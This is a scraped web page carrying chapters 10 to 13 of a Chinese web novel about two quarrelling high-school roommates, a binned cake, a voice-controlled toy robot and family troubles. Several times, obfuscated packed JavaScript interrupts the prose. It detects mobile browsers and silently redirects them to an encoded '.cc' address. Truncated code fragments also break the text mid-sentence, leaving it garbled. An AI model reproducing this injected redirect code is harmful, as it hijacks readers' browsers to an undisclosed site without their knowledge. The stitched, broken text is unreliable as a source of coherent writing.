RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203394|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷地看他,那眼神难得不像刺猬,但眯啊晃的,有点疑惑的样子。 于是边煦也只好疑惑起来:他又在那儿琢磨什么啊? 2000块啊,却跟他无缘,真是遗憾。 方笑贻琢磨的是这个。 以及假设债主真是边煦,他才多大点儿?酒鬼又能欠他什么?不过有可能是父辈的债,也说不定。 不过应该也不是他。 就这么乱七八糟地想了一通,方笑贻又交代席子。 [重…富]:找人可以,但别一个人去偏僻的地方 [重…富]:抓啊捕的也别想了,你这小身板不合适 [重…富]:看到人了,就给老袁报个信,叫他给你500块钱 [席子]:遵命大老板.jpg 回到教室,又是两节数学课,任课老师是高蓬。 他的课堂氛围轻松,但节奏其实很快,方笑贻只上了一节,就感觉不预习不行。但下了课,边煦从教室里出去时,却看见他在跟一个扎马尾的女生在说话。 女生说:“……张厦说你这儿有东西卖,荧光笔,你有吗?” 他顿了下,说:“有的。” 女生:“有什么颜色?” 他:“一般的都有,你想要什么颜色?” 女生:“我想要一个、青柠绿、梦幻紫,嗯,还要一个雪松色,各两只,可以吗?” 他:“可以的,下午上课前……” 还“的的的”。 边煦往右一拐,让墙遮住了他那张见钱眼开的柔软嘴脸,心想:钱串子又出来装腔作势了。 然后他前脚一走,方笑贻后脚也跟出去,到5班去找谭威了。 “方儿,”谭威被同学一传唤,立刻从教室里蹦了出来,“咋啦?” 方笑贻说:“你下节课下了别走,等我一起。” 下节课完了就是吃午饭,谭威纳闷:“你要干嘛?” 方笑贻说:“我跟你到门口去,你去路对面帮我买一把笔。” 他其实只带了水性笔,因为那种把书划得五彩斑斓的学习习惯,松香中学里不太多见。 但没关系,他可以先抢占一个市场。 边煦回来时,又踩着上课铃。 两人离得远,在教室里岁月静好了半天。 午饭铃过后,同学们如猛兽出栏,纷纷涌向了食堂。 方笑贻则先去买了笔,吃完饭后回到寝室楼时,已经是12点40了。 这会离午休铃只剩5分钟,楼道里已经没什么人了,但何子谦又在300门口。 方笑贻看见他就烦,但又不能自挖双眼,只好目光先变尖锐,又觉得没意思地往台阶上一投,开始吨吨灌鸡汤。 信既奴役,被影响也是奴役,屁都能把你奴役,你就是个…… 方笑贻踩住缓步台,心里本来想的是:猪。 可这时何子谦忽然开口:“我有事跟你说。” 那个声音有点发沉,跟昨天的欣喜语气很不一样。 方笑贻假装没听见,努力把他当空气,走了4步到门口,刚看见边煦在里头玩他那个玩具,就又听见何子谦来了一句。 “是跟你姐和孩子的安全有关的,你也要假装听不见吗?” 边煦循声扭过头,就见钱串子站在门口,没表情的脸上先是一愣,随即睫毛猛地一震,眼神一瞬间竟很,凶狠—— 10.第10章 时间真可怕啊。 也就两年,何子谦就变成了跟他那些亲戚,一样恶心的东西。 有股冷意,在方笑贻的血管里流蹿,可他大脑里又像沸腾着滚烫的岩浆。 如果杀人不犯法,他真想!!! 不过,这也就是意淫罢了。这些年,他意淫过很多次。 方笑贻用力闭上眼睛,心想:人骨头软,真是可怜。但好在他可怜的时间够久,已经厌恶了顾影自怜。 他松了松虽然没有握紧,但其实也已经僵硬的手指,尽力缓慢地吸了口气,再睁开眼睛,里头就只剩冷硬,不再动荡了。 然后他转过身,没有波澜地对何子谦说:“你跟我来。” 边煦盯到他没影了,才正过头,左右大拇指一划拉遥控手柄,让ebot在桌上重新动作起来。 可他没看手柄,也没看它,它就移动得鬼鬼祟祟的,奥特曼一样的蓝尖眼睛对面,是它那个心不在焉的买家。 钱串子刚刚,真生气了。 但他生气的时候……边煦脑中凭空冒出一句:居然跟自己有点像。 那个极致压抑,又无能狂怒的眼神,边煦再熟悉不过了。 他摇柄上的手指如飞,操控着ebot那两Q短的机械小臂,搭住它没脖子的脖子,然后猛地往后一仰。 好像被什么掐住了一样。 边煦同情地把它一瞥,心想:所以,钱串子的家,也不幸福吗?什么姐姐侄儿的,他爸妈呢? * 中午寝室会锁门,所以只能往上爬。 方笑贻面如寒霜地爬了3层半,才看见顶楼的门开着,有一块菱形的阳光照进来。他从那里上了天台,等何子谦也上来以后,伸手又把门带上了。 “说吧,你想说什么?”他盯着何子谦,语气已经恢复正常了,“现在说到够。” 中午的阳光那样强烈,可他眼球漆黑,透着一种仿佛连光的不反的冰冷。 何子谦心里一阵瑟缩,他真恨自己这张嘴,怎么会如此言不由衷! 但说都说了,他只好一咬后槽牙,鼓起直视的勇气:“笑贻对不起,我不是你想的那个意思,我其实只是想提醒你。” 方笑贻心里冷冷一哂:威胁就威胁,什么狗屁提醒? 但嘴上,他却说:“行啊,你现在提醒,就说我姐姐,和我侄儿的安全。来,你告诉我,我应该怎么样关心呢?” 接着,他想了想,竟是一副征询的语气:“我需要跪下来求你吗?” 他阴阳怪气的,何子谦也心烦意乱,但他不敢再发冲动了,只好把手一竖,妥协道:“别,你什么都不用做,我说!你听我说,好吗?” 方笑贻下巴凛然一挑,示意他说。 何子谦觑着他的脸色,脑中先把话捋到精简,才说:“我舅、不,是吴建麟,前几天查出来得了无精症,我来上学之前,听见我……我亲戚在劝他,叫他把孩子接回来,留个后。” 说到最后,他自知理亏,声音渐低,眼神也闪烁开去。 倒是方笑贻事不关己似的,竟露出了一种,拆到了套娃般的趣味表情。 早先孩子还是个胚胎,他们说,它不知道是谁的种,必须打掉。 现在烂人勾子烂了,“野种”就又是能个“后”了。 真贪啊,方笑贻大开眼界地想道:人怎么可以这么贪?什么好处都想占尽。 这消息应该算炸裂的了。 可方笑贻没有被炸的样子,他甚至还在那里笑。 这反应超出了何子谦的逻辑链,以至于他看方笑贻的眼神也变得异常起来,他说:“你、在笑什么?是不相信我吗?” 方笑贻看他一眼,又笑了一声:“没有,我信,你们家是这个风格的,很难模仿。” 何子谦假装没看见那种讥诮,费解道:“那你在笑什么?你不怕吗?” “怕?”方笑贻嘲弄地一笑,语气骤然尖刻,“这个还能比我姐姐,被你舅舅羞辱到当街裸奔更可怕吗?!” 仿佛被一拳打中胸口,何子谦呼吸一滞,语带哀求道:“笑贻别说了。” 方笑贻就要说,他不碰到这些人则已,碰到了就会特别偏激,像ptsd。 他说:“怎么?我们亲身经历的这些,你那双幸福的耳朵,连听一下都听不了吗?” 何子谦沉默两秒。 是,他不敢听,这些事会是警铃一样提醒他,方笑贻恨他们,他也…心疼这个人。 但他也不敢说,只能软弱地转开话题:“反正,你有个心理准备,小心一点吧。” 方笑贻当然会准备,他的潜意识已经启动了十八级警戒,但表面上,他还是得充充样子。学习要趁早,报复也是。 他垂眼狂想一瞬,再抬起来时,又说:“没事,你就叫他来抢吧。” 何子谦目光一震,又很纳闷。 方笑贻等了下,见他没意见,便又说:“你们家想抢孩子,我拦不住,但我侄儿要是离开了我家……” 方笑贻平静,但把他盯死道:“我要是剁不掉吴建麟的手,我就回去烧了你们家老宅,还有什么祖坟,我也是挖得动的。” 何子谦一阵心惊肉跳,哪个学生动不动砍人放火啊? 但他已经分不清了,方笑贻这是装的,还是来真的,一时竟也无话可说。 方笑贻便又问他:“你还有什么要跟我说的吗?” 他变了太多、社会了太多,何子谦原本试图靠近,谁知道结果变成这样,他不知道怎么跟方笑贻打交道了,只好心灰意冷地摇了下头:“没了。” “那就这样吧。”方笑贻说完,转身就走,期间又觉得该趁热打铁,警告他离远点。 但刚一动,他又想起刚刚这个消息,实话实话,是有用的。于是他又没转,拉开门下去了。 * 回到寝室,边煦还在那里,玩他那个儿童玩具。 但是方笑贻没空注意他们,因为他进来的第一眼,看到的就是桌子最右边上的那个纸袋。 它跟何子谦昨晚提来的那个差不多大,上面印了点花花草草,里头他一瞟,也是一块蛋糕。 紫色的,一个小方,上面铺着满满的蓝莓,还淋了酱,挺诱人。 可方笑贻一看见它,那阵在顶楼没生的气,登时就在这里爆发了。于是他提起这袋子,就摔进了桌子旁边的垃圾桶。 啪—— “喂。” 边煦伸出尔康手的时候,他的蛋糕,已经到桌子底下去了。 然而那始作俑者扭过头来,嘴脸居然比他还难看。 边煦:“……” 到底是谁扔了谁的蛋糕啊?简直倒反天罡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15221260|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚那点同病相怜瞬间消失,边煦看着他,表情也不衅起来:“你什么意思?” “什么什么意思?”方笑贻不知道他在挑什么事,语气正不耐烦。 边煦看他那个窝里横样,真想给他一脚,这人尚在他脚的射程范围之内。 但盯了他2秒,边煦又懒得动,就只胡乱摇了几下手柄,沉沉地说:“解释一下,为什么我的蛋糕,现在在垃圾桶里?” 他的?不是…… 方笑贻眉毛纠结地一扭,一瞬间心口眼耳,集体忙了起来。 又要看他,要看蛋糕,还想去瞅桌上那个“吱吱吱”的玩意儿。 那是一种低噪而不同频的电机动静,自带一种复杂机械的腔调。 出于好奇,方笑贻优先看了它一眼,然后才发现它的关节之多和复杂,那么短小的一截手臂,竟能分成4截。 这是什么高科技玩意儿?方笑贻没见过,忍不住又多盯了它一眼。 然后边煦就看他,眉毛皱着皱着,居然把眼睛给皱到ebot上去了,脸色顿时更臭了。 他很识货,这眼光不错,但现在的重点是这个吗? 边煦立刻遥着ebot往他那边走了几步,并摆出了一个要把他击毙的样子。 “别看了,赔蛋糕。”边煦不爽地催道。 它的灵活度实在令人惊艳,但是边煦在叫唤。 方笑贻只好回过神,看他一眼,又看看垃圾桶,然后越看心里越不妙。 难道自己真搞错了? 边煦也不像个吃不起蛋糕的。 但是,错了就会破财,所以……他不信! 方笑贻迅速清空表情,看着他说:“蛋糕不是何子谦拿来的吗?” 什么何子千何子万的?边煦一字一顿:“它是刘、丞、丞拿来的。” 方笑贻心里沉重了一克:“证据呢?” 其实那袋子里也有个证据,刘丞丞的姐姐有在小票上备注品类+顾客姓氏的习惯。 但边煦就是不想给他,叫板说:“你怎么不给我证据呢?” 方笑贻心说,当然是因为我没有,嘴上却又回道:“那就没什么好说的了。” 说完一转身,准备尿遁。 可边煦一看见他拧腰,眉峰霎时就跟着一抬。 然后说时迟那时快,边煦立刻把右脚往前一踩,接着欠身一够,捞住他的左手腕,往回扯道:“想跑?跑了我叫你赔10个。” 方笑贻被他拽得一踉跄,跑路失败,只好继续应对。 他拿右手撑了下桌子,一边扶稳一边说:“你叫呗,叫破嗓子了我也不赔。” 10个?想什么屁吃呢?1个都够他心里滴血了。 这什么破事,还需要他亲自来叫? 边煦不屑地睨着他说:“放心吧,叫不破。” 说完,他又没头没脑地来了一句:“起来阿尔法,叫方笑贻,赔我的蛋糕,先喊10遍。” 话音刚落,屋里就“嘣”的一小声,像是弹飞了一个胀气的瓶盖。 然后方笑贻就看见,那个小机器人“吱吱”立正了,再摆了摆两只机械小臂,开始发出声音。 “方笑贻,赔蛋糕。” “方笑贻,赔蛋糕。” [重复中] 方笑贻:“……” 11.第11章 什么叫大炮打蚊子?这就是。 但科技果然改变生活,他的喉咙有福了。 方笑贻同情地看看ebot,再看看边煦,接着一甩手腕:“放开。” 边煦已经坐回了椅子上,被他一甩,当即抓得更紧了。 “不放,”他对这人没有一点信任,“一放你还能有影儿?” 方笑贻没能甩脱,手臂只好连着他的在空中摇晃。 “怎么没有?”方笑贻低声斥道,“撒手,我不喜欢跟别人拉拉扯扯的。” 难道他就很喜欢吗?边煦真的是无语。 好在他的重点从不轻易跑偏,他执着地说:“少扯淡,赶紧给我赔。” ebot也跟在后面起哄,也喊他赔。 方笑贻被他俩叨叨得烦死了,但想起赔钱,他心里拒绝不说,另外又惦记着给家里去个消息,就有点晃神,也开始当复读机:“赔什么赔?这明明何子谦拿给我的。” 这名字出现过好几遍了。 “何子谦是谁?”边煦确认道,“是刚刚来过的那个‘高低眉毛’吗?” 他倒是挺会抓特征,方笑贻小幅把头一点。 “男的给男的送什么蛋糕?”边煦灵光随便一闪,脸上就露出了一丝怀疑,“你俩不会是……基佬吧?” “你才是基佬!”方笑贻真服了他这破脑洞,扫射道,“你跟刘丞丞都是基佬。” “哦,也是,”边煦这才反应过来,“刘丞丞也给我拿了蛋糕的,此刻它正在垃圾桶里。” 又绕回来了。 方笑贻心忽然累了:说这个,还不如说他是基佬呢。 可边煦对基佬的兴趣,还是没有蛋糕大。 这会,ebot刚好走完指令,屋里安静下来,他等了一下,见方笑贻没什么表示,就给他上强度,说:“阿尔法,再来10遍,然后声音大点,加20%。” 那小机器人就又开始“吱”。 方笑贻登时一个头两个大,立刻也说:“阿尔法,关机。” 智能音箱都是这么用的,谁喊都行。但边煦这个,它居然不行,还在那里启动电机。 方笑贻错愕地一愣。 边煦也匪夷所思地笑了一声:“你还使唤上了?” 可真有意思。 “但没想到吧?”边煦又说,“它有语音锁。” 方笑贻确实没想到:“是,你牛笔。” 那个语气十分捧读,但是边煦也能笑纳。 方笑贻却总感觉马上就会有人过来围观了,又满头黑线地说:“但它这么吵,你也不怕被没收了?” “没收了不是正好吗?”边煦说,“就没有狗腿子帮我骂你了。” 方笑贻立刻白了他一眼:“烦人的是你,它是无辜的。” 边煦打击地夸了下他:“你还挺爱憎分明。” 可分明也没用。 当机器人循环起来,房里就有了种“海南皮革厂倒闭”大卖场的气氛,可边煦没一点顾忌的样子,好像为了那个蛋糕,他被收个机器人也行。 这是一个顽固分子,方笑贻终于领教到了,把眼睛翻白地一闭,又指了下ebot说:“行了别闹了,叫它闭嘴,这次真的有事说事。” 说完他弯下腰,把纸袋子又从垃圾桶里提了出来。 边煦见状,这才松开了他的手腕,并说:“阿尔法,暂停语音。” 事实证明,那袋子里确实有张草绿色的便签,上面写着:蓝莓芝士/ 1—丞 方笑贻看着它,一边在心里骂:这是什么狗屁生活?这么狗血;一边垂着眼皮,把错认了。 “好吧,”他叹了口气说,“这蛋糕确实是你的,是我搞错了,对不起。” 他刚才还劲劲儿的,现在一个大转弯。 边煦有点不习惯,把他瞅了又瞅:“然后呢?” 方笑贻说:“我的然后,你不会想听的。” 边煦心想欲情故纵啊,但对方笑贻,废话又挺多的,掂量了一下他的德行就说:“什么呢?不会是想让我拿着一声‘对不起’,再把垃圾桶里的,这个,蛋糕吃了吧?” 他明显是个大少爷,提起垃圾桶的食物都梗梗的。 但方笑贻还是惊奇地看了他一眼:“你怎么知道?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15227370|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “还能是怎么?”边煦用脚都能想道,“因为这样,你的代价最小。” 这会他倒是挺像个“第一”了。 方笑贻乱七八糟地佩服完,又敢想敢干地来了一句:“所以,这样行吗?” “想都别想,”边煦一口回绝,“去给我买个新的来。” 可他吃的东西,9块9肯定不用想了,但99方笑贻又不舍得,只好继续垂死挣扎。 “现在出不去,买不了了,这样,”他笑了下,试图另辟蹊径,“我拿东西跟你换,行吗?” 这笑又是讲台上那种,准备童叟都欺的款式。 但边煦心如铁石:“不行。” “为什么?”方笑贻为了省钱,还是挺能死缠烂打的,他说,“我的东西,性价比还是挺高的。” 边煦心说,辣条和充电器需要什么性价比?但嘴上他却说:“没有为什么,我就要蛋糕,刘丞丞家这个同款。” 他执着于蛋糕,就像和尚念经一样。 方笑贻动摇不了分毫,只好在心里下决心:“好……” 与此同时,一阵古怪的音效忽然响起:嘣噗、嘣噗、嘣噗、叻不叻不叻不 方笑贻瞬间欲言又止住,看见边煦低下头,从左边口袋里摸出手机,先没接,只是指节一翻,将手机握成竖的,接着站起来,表情归于漠然地出去了,也没看他。 但因为站着的视野,方笑贻却无意又清楚地看见了,他屏幕上的来电。 袁——[拒绝]/[接听] 袁什么? 方笑贻下意识回过头,追了下边煦正走向楼梯的背影,心里无法不关联:不会真的是…… * 袁老板是四海市场那边,孙竞东常驻的那个网吧的老板。 但是他管孙竞东叫酒鬼。 酒鬼就酒鬼吧,边煦不在乎他叫什么,他只在乎这个毫无职业道德的前垃圾记者,跟自己的妈于静涵交易的那些东西:他爸爸边扬的行踪。 上了3楼拐向4楼时,铃声快要响到头了。 边煦才接了电话,低声问道:“喂,袁老板,有消息了吗?” 12.第12章 没有你的。 方笑贻决定赔钱了,对他的态度就又回去了,不咸不淡道:“还在店里。” 店个屁,他肯定没去买。 边煦觉得他没诚意,进来就发难:“我现在要吃,你去买。” 方笑贻不想去,也不想惯他这大爷样子:“吃什么吃?你中午没说完就走了,我怎么知道你什么时候要吃?” “你管我什么时候吃?”边煦听他胡说八道,“你买来就完了。” “买不来了,店关门了,你非要吃,”方笑贻扬他一眼,“就只有这个。” 说着,他把手边的蛋糕往前一推。 边煦立刻拒绝:“我不吃这个。” 方笑贻心说,拽什么啊,中国人民能吃饱饭也才40年。 但面上却说:“那就没辙了,你只能等明天了。” 可边煦看他却不是没辙的样子,他甚至挺悠闲,还垂眼回到蛋糕上,拿叉勺挑了个蓝莓起来。 那蓝莓是螺髻山的,个大饱满、遍布果粉,品牌就是一种品质。 边煦忽然也眼馋了,刚要说:我不管,你去想办法。 方笑贻又挑着那个蓝莓,扭过头来说:“你要是没事,我建议你赶紧去洗,别熄了灯还一直在里面稀里哗啦的,很……” 烦! 他本来准备脱口的是这个,又怕边煦发神经,上下嘴皮一碰,又换了个词:“吵。” 边煦觉得他就是屁事多。 洗个澡而已,又不是搞装修,能有多吵? 但“洗”字还是忽然点醒了他一件事,那就是:他那个水卡里,没钱了。 这不是个小事,边煦眼神一凝,进来把书往桌角上一搁,转身又出去了。 方笑贻目送到他又忽然消失,再拿眼梢把那书皮一瞟,就看见了上面那本黑色的书名:《算法导论》。 这是什么洋机器书? 方笑贻没见过,不过也没翻他的,只是转身下了椅子,也去柜子里翻了本参考书出来。 明天摸底考试,虽然只考主科,但人家“第一”都在看书,他还有什么理由不努力? 6分钟后,边煦回到寝室,揣着他借来的3张水卡。 然后一进门,他居然看见钱串子,正趴在桌上写辅导题。 那模样竟挺专注认真,脊椎和蝴蝶骨隐隐透出校服,显得背影清瘦伶仃的。 而蛋糕被他推在一边,慕斯就蒯掉了一个小尖,蓝莓也没吃完,不是很爱的样子。 一瞬间,边煦那个针对他的心理,忽然又不是很强烈了。 别人难得干点正事,边煦心想:就赶紧多干点吧。 不然教室里一堆卷王,他天天只惦记着卖东西,搞不好就垫底了。 他进来的时候,方笑贻其实没听见,后面听到翻柜子的动静,才回头看见他在柜子前面。然后边煦翻到衣服,就去洗了,没看他,也没说话。 方笑贻于是蓦然发现,除开那个蛋糕,他在寝室其实还算安分。 然后水声忽然淋了起来。 方笑贻眼皮一紧,连忙又补了一条:啊对,还有洗澡,也烦人。 边煦今天进去早,但又洗到熄灯了才出来。幸好方笑贻忙着刷题,熄灯之前也没空理他。 边煦不想跟他吵架,灯熄了没两下,就关水出来了,因为也洗得差不多了。 方笑贻摸着黑又进去,等再拉开门,边煦已经上去躺下了,但右手举在半空中,拿了个小方块的亮屏在那儿甩。 它也跟着发出了一阵,骂人一样的古怪急促机械音:呜~嗯!歘欻欻歘,miao~嗯! 这又是个怪声音,跟他那个手机铃声一样。 方笑贻不由得又盯了一眼,瞥见它屏上有两个小紫方块的同时,听见它忽然又说了句英语。 “I am feeling sick,叽-嗷!” 边煦又在上面摇,并说:“你sick个屁,赶紧给我定闹钟。” 方笑贻这才看出点门道,他又在玩什么高科技,但不是那个机器人,因为这个方块比机器人头大,而且看轮廓也比机器人短。 方块被他摇得直喘,呼嗯-呼嗯-的,呼完又忽然唱道:祝你.生日.快.乐~ 那竟是一阵有点讨好的声音,调子是歌的最后一句。与此同时,屏幕上还掉下来三块东西,它们叠成了一块卡通蛋糕。 方笑贻闻言见状,心里猝不及防地竟微微震了下,有种被陌生人看破隐私的悸动感。 与此同时,边煦又在铺上一吹,说:“你确实有毛病了,日子都给我记错了,要不成了,你下岗。” 说着他放下这个,又从床上拿起了一个屏幕上是俩蓝色方块的,说:“emo1,设闹钟。” 方笑贻:“……” 这是闹钟吗?他到底有多少个这种玩意儿? 还有他叫那东西“下岗”的语气,方笑贻没忍住在黑暗里翘了下嘴角,感觉他神经兮兮的,把硅基生物当人一样。 但他这些东西,方笑贻慢悠悠地爬上床,听着那个什么“emo1”在上面嗯啊哼,心里正在想:还挺会撒娇的。 边煦就又含沙射影地来了一句:“别扭了,快点设。不然一会儿太平洋的暴躁警察又要生气了。” 可他这样一个用水大户,居然好意思说自己暴躁? 不要比脸,方笑贻抬腿就给了他的床板一脚。 “看吧?”边煦一副“我就说”的语气,说完才设了3个闹钟,消停了。 方笑贻还是翻了半天才睡着,入睡之后,他做了个梦。 梦里,他又回到了老家那个桥上,桥下是一条淤满水草的脏水沟,而他站在桥头上,手里拿着2块钱,视野前方,他姐赤身裸体的,正光着脚在满是小碎石粒的乡道上尖叫狂奔。再更远处,是骑着小电瓶的吴建麟…… 方笑贻心脏剧烈地一紧,刚要惊醒过来,又听见背后传来了一阵枪声。 然后他回头一看,就见边煦的机器人变成了真人那么大的,手里还端着一杆,实物上根本没有的枪。 它一边逼近,一边指着自己说:“方笑贻,赔蛋糕。” 然后方笑贻才被它一枪打醒,带着一种余悸未消的啼笑皆非。 什么鬼啊,乱七八糟的—— 翌日一早,方笑贻还是没有喊他。 但出门之前,边煦已经坐起来了,因为他那个闹钟够坚持不懈,一直怪哼并震动。 方笑贻醒了,倒也不觉得它吵,只在床弦上一敲,说:“今天归你扫地。” 但是边煦没有扫,他起来迟了,自己不迟到都不错了,而且寝室里也挺干净的。方笑贻自己把那个蛋糕袋子提走了,垃圾桶里连个纸屑都没有。 7点35分,边煦一进教室,教室里已经大变了样。 全班的桌子已然拉开,第一组甚至挪进了走廊,方笑贻就成了看后门的。 但他人不在后门口,边煦进门的时候,看见他坐在刘丞丞旁边,那板凳应该是自己那个。边煦靠过去,听见这两人嘀了咕噜地说。 刘丞丞:“煦子要吃,我给他拿就行了,他在我家冲了年卡的。” 方笑贻:“他有年卡,还叫我买,就是整我,我不花钱这事过不去。” “哈哈哈不至于,他真烦你,你买的东西他才不吃。” “瞎拽,受不了。” 边煦闻言,立刻过去踢了他坐的板凳一脚:“起来。” 上午的考试紧锣密鼓,方笑贻中午回到寝室,才得空加上刘丞丞的微信。 只是不巧,他姐店里缺材料,今天没有边煦要的那款。 为防边煦不信,方笑贻还给他看了聊天截图, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232432|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后问他:“你是非要这个,还是换一款也行?” 边煦眼皮一垂,却先看见了他的id,[重生之中国首富],嘴角登时就有点想抽,感觉他还真是人设稳固。然后刘丞丞也是个败家子,擅作主张就给了他打了5折。 不过边煦没找事,只说:“就要这个。” 方笑贻叫他等明天,说完又因为没地方坐,回床上趴着刷题去了。 边煦撩眼瞥了一下,发现他做的册子叫《小题狂做-巅峰版》,然后他大概刷癫狂了,也不跟自己说话了。 两人今天就和平而哑巴地共处了一天。 到了晚上,自习课上,高蓬宣布了一下明天军训的内容和纪律,就早早下课了。 3号军训,学校开始封闭,为期3天。 学校门口一堆开车来送东西的,边煦家里也来人了,还不止一波,他就丢了两包丢西在桌上。 方笑贻大概瞟了下,有防晒霜、棒球帽、鱼油、冰丝袖套……还有一个不锈钢的保温桶,里头装的是绿豆汤。 而方笑贻什么都没有,不过他也没什么感觉,一直都这样,就习惯了。 对此,他的同桌杨妙也是。 3天下来,杨妙晒得比方笑贻还黑,不过同桌了几天,她熟稔地胆大了些,还主动了问他:“你们放学就回家吗?我跟你们一起走,行吗?” 她在这里也挺孤独,方笑贻点头就答应了。 他回去收东西,才进寝室楼,边煦就背着一个包出来,碰到时看了他一眼,然后脚步匆匆地走了。 方笑贻也没管他,兀自卷了铺盖,到公交站跟谭威和杨妙碰上头,接着搭车回去了。 回到家,他侄儿高兴坏了,抱着他的大腿一直呵呵呵,跟边煦那个进入了循环程序的机器人似的。 方笑贻就把他拖进厨房,问在理菜的王玉华:“妈,这几天,有什么不对劲的吗?” 王玉华今年42岁,但两鬓已霜白,她理一头短发,个子中等偏瘦。 “没有,都正常,”她在儿子右边小臂上按了一下,“你别担心。” 方笑贻又抄起孩子,去了天福超市。 老王叔还在听他的评弹,也摇头晃脑地说:“陌生人肯定有啊,但可疑的没有。” 方笑贻才松了一口莫名绷着的气,第二天一早,就去了寄存店。 寄存店是他跟王玉华,摸索商量过后,在网吧街开的一个业务庞杂的小门面。 它是租来的,在天堂河网吧斜对面,经营行李寄存、日用杂货零卖,也应季节,卖点豆浆豆腐脑、醪糟、切片西瓜什么的。 王玉华腰不好,以前苦力做多,把腰做废了,方笑贻放假就会来帮她看店。 而这个周六,似乎和之前也没什么不同,日光灼晒,买烟买西瓜的,面孔也还是那些。 除了到下午2点41分,一辆白色的丰田埃尔法驶过门口,停到了天堂河那个侧开的室外楼梯外面,然后一个黑衣服的女人冲下车,蹭蹭蹭地上了楼梯。 在她背后,一个西装革履的男中年紧跟而上。然后司机又从驾驶位这边下来,也跑了上去。 方笑贻坐在门口吃西瓜,原本只是随便看到他们。因为这会正热,路上没几个人,他也没什么别的可看。 只是等他们再出来,进去的3个,就变成了4个。 只见那女人拉了个新角色出来,他高个子,背对着路,穿件蓝条纹短袖开衫。两人拉扯之间,他伸手把那女的一甩,脱开的右手腕上有一个黑色的硅胶手环。 方笑贻瞳孔一凝,正莫名感觉熟悉,就见那女人扬起巴掌,一下把他的脸扇得转了过来。 好吧。 方笑贻看到他的侧脸,手里的瓜忽然就变抽象了。 星期六,他在路这边吃西瓜,而他的室友在路那边,被人抽了个大耳瓜—— 13.第13章 在网吧里面,她竭尽全力忍住了,没有发作。 但一进走道,该来的山呼海啸就来了。 “我上辈子造了什么孽啊?!摊上你这种孩子。” 拽着他的女人明艳精致,面容姣好、珠光宝气,可眼泪“唰”地流到下巴,表情和语气也迅速歇斯底里起来。 “从小就没一个省心的地方,现在还学会偷家里的财物了,你……我真的!有时候,养你养得恨不得去死!!!” 这就是他的妈于静涵,一个从他7岁起,就开始“恨不得去死”的女人。 边煦七、八岁的时候,还会极度破防,对她大喊:“那你就去啊!” 但他现在不会了,他只是一拧手腕,漠然地说:“我没偷,那一盒里面的金条,本来就是我的。” 是他爷爷给他攒的积存金,上面还贴了他小名的标签:阳阳。 “是你的,”于静涵流着眼泪,但不影响声色俱厉,回头狠狠把他一指,“但现在还不属于你!得等到你18岁以后。” “18又怎么样?”边煦嘴角讽刺地一勾,“还不是你不想给就不给。” “你什么意思?”于静涵质问道,“是说我惦记你这点财产吗?哼!你真的是人小鬼大,就你这点钱,我根本看不上!但不管着你,你跑到这种地方来,还往陌生人卡里转钱,家里有多少钱够你霍霍……” 边煦其实不是不懂,顺着她,哪怕只是装的,自己都能得到一点想要的。但有些矛盾,就是不可调和。 比如,他想找他爸,只是找到他,看他过得怎么样。 但是于静涵不允许,所以,她把自己骗得团团转,一边假装帮自己找他,一边又藏着他的踪迹。 6年! 现在她还是这样,顾左右而言他,边煦火冒三丈地一甩手腕,开始跟她各说各话。 “我霍霍多少钱,那个钱,”边煦冷冷地盯着她说,“都姓边。而且你跑到这里来教训我,真的是因为这点钱吗?不是,你是怕我找到我爸,然后你现在养小白脸的生活就会成为泡……” 于静涵目眦欲裂,抬手就甩了他一巴掌。 右边耳朵霎时嗡嗡作响,但边煦心里本来是痛快的,因为如果不是气过头了,他不会跟于静涵说这些,毕竟她怀孕了。 但那痛快也只持续了一两秒,因为脸甩过去之后,方笑贻忽然出现在了他的余光里。 他坐小马扎,手里捧块西瓜。 那场景,令边煦忽然就很想破愁为笑:人怎么可以这么应景?跟拿了剧本一样。 真会搞啊,老天爷。 * 他的眼珠好像是往自己这边转了下的,又好像没有。 但是不管,方笑贻心想:不能再看了,有点尴尬。 于是他捧着瓜,立刻掉头地回了店里。只是视野能被隔绝,思绪却没那么容易控制,它自个在虚空里就转了起来。 那女的男的都谁啊? 看年纪和打扮,好像是他的家长。那他家里还挺明显的,是女强男弱,那西装男一直就在女的后面。 然后他们这是,在搞什么? 